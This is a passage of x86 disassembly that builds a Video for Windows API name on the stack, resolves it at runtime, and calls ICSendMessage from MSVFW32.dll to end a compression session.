mov byte [ebp - 0x3a], 0x6f
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0x70
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x73
mov byte [ebp - 0x34], 0x73
mov byte [ebp - 0x33], 0x46
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x45
mov byte [ebp - 0x2d], 0x6e
mov byte [ebp - 0x2c], 0x64
call esi
push eax
call edi
mov edi, dword [ebp - 4]
push 0
push 0
push 0x400e
push dword [edi + 0x44]
mov ebx, eax
call sub.MSVFW32.dll_ICSendMessage
lea esi, [edi + 4]
push esi
call ebx
push esi
call dword [ebp - 8]
push dword [edi + 0x44]
call dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret